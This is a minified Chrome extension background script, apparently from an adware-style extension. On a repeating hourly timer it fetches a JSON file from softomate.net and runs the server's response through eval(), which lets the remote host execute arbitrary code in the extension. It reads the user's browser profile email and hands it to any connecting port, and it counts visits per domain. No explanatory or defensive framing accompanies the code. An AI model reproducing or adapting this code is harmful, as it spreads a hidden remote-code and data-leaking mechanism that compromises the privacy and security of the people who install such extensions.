text: function hour(){if("visible"==document.webkitVisibilityState){console.log("Runned");var xhr=new XMLHttpRequest;xhr.open("GET","http://www.softomate.net/ext/employees/list.json",!0),xhr.onreadystatechange=function(){if(4==xhr.readyState){var resp=eval("("+xhr.responseText+")");localStorage.domains=xhr.responseText}},xhr.send()}}function loop(){var e=new Date;console.log(e.getHours()+"&"+startScript[0]+"-"+e.getMinutes()+"&"+startScript[1]),e.getMinutes()==startScript[1]&&e.getHours()==startScript[0]&&(startScript=((new Date).getHours()+1)%24+"-"+((new Date).getMinutes()+60)%60,localStorage.setItem("time",startScript),startScript=startScript.toString().split("-"),hour())}localStorage.getItem("time")||localStorage.setItem("time",((new Date).getHours()+1)%24+"-"+((new Date).getMinutes()+60)%60);var startScript=localStorage.getItem("time").toString().split("-");loop(),setInterval(loop,5e3),hour(),chrome.identity.getProfileUserInfo(function(e){chrome.extension.onConnect.addListener(function(t){t.onMessage.addListener(function(o){t.postMessage(e.email)})})}),chrome.runtime.onMessage.addListener(function(e,t,o){if("hello"==e.greeting)(r=JSON.parse(localStorage.getItem(e.cd)))[0]="true",localStorage.setItem(e.cd,JSON.stringify(r));else if("Set visits count"==e.greeting)(r=JSON.parse(localStorage.getItem(e.cd)))?r[1]=r[1]+1:((r=[])[0]="false",r[1]=1),localStorage.setItem(e.cd,JSON.stringify(r));else if("Domens to popupjs"==e.greeting)o({data:localStorage.domains});else if("Get Data"==e.greeting){var r=localStorage.getItem(e.cd);o({data:r})}else"Get domens"==e.greeting&&o({data:localStorage.domains})});
  